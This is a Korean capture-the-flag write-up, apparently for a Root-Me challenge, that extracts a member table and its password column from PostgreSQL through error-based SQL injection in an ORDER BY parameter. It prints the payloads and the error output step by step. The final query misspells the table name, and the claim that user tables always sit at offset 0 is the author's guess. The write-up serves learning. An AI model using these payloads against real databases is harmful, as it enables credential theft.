로그인 페이지가 존재하고
콘텐츠를 읽는 페이지가 존재한다.
하지만, 권한이 없다고 출력된다.
에러 기반 SQL 인젝션을 시도해보자.
로그인 페이지에서는 대부분이 필터되서 시도할 수 없었고,
콘텐츠 페이지에서 order
파라미터를 통해 인젝션이 가능했다.
입력한 값이 order
명령어의 뒤에 삽입되므로 시도할 수 있는 것은
컬럼명을 select
로 인젝션하는 것이다.
order by page, [ (select ~~~~) ]
http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20FAST%20blind%20SQL%20Injection.pdf
rootme에서 제공해준 문서를 살펴보면 데이터베이스 종류에 따른 다양한 인젝션 cheat가 나와있다.
하나씩 인젝션 해보면서, 문제에서 사용된 데이터베이스는 postgreSQL라는 것을 확인했다.
테이블 이름을 얻기 위해 다음과 같이 인젝션 했고
,(cast((select+table_name+from+information_schema.tables+limit+
1+offset+0)+as+numeric))--
테이블 명을 획득할 수 있었다.
ERROR: invalid input syntax for type numeric: "m3mbr35t4bl3"
해당 쿼리는 numeric
으로 캐스팅하는 과정에서 에러유발을 시키는 것 같다.
또한, 따로 where
조건절 없이 offset
0번에서 나온 테이블 이름이 유저정보가 담긴 테이블임을 확신할 수 있는 이유는
postgreSQL에서는 사용자가 생성한 테이블이 offset
0번째에 들어가게 된다.
offset
1번을 확인했을 때
ERROR: invalid input syntax for type numeric: "pg_type"
pg_type
, 시스템에서 생성한 예약된 테이블명이 나왔으므로 0번 테이블이 정보를 스니핑해야 하는 대상임을 유추할 수 있다.
패스워드 컬럼의 이름을 찾아야 한다.
앞서 구한 table_name
을 조건절로 바로 구하려 했다.
,(cast((select+column_name+from+information_schema.columns+where+table_name=%27m3mbr35t4bl3%27+limit+1+offset+0)+as+numeric))--
ERROR: syntax error at or near "m3mbr35t4bl3" LINE 1: ...rom information_schema.columns where table_name=''m3mbr35t4b... ^
하지만 쿼리가 실행되지 않고, 그냥 문법에러가 발생했다.
직접 postgreSQL을 구축하여 확인해봤는데 문제가 없는 쿼리였다.
따로 방법이 없었고, offset
을 올려가며 패스워드 컬럼명을 찾아냈다.
,(cast((select+column_name+from+information_schema.columns+limit+1+offset+2)+as+numeric))--
ERROR: invalid input syntax for type numeric: "p455w0rd_c0l"
결과를 보고 예측하건데, 컬럼명도 마찬가지로 사용자가 생성한 테이블의 컬럼이 가장 상위에서 반환되는 듯하다.
어쨌든 획득한 정보로 플래그값을 찾을 수 있었다.
,(cast((select+p455w0rd_c0l+from+m3mbr35t4b+limit+1+offset+0)+as+numeric))--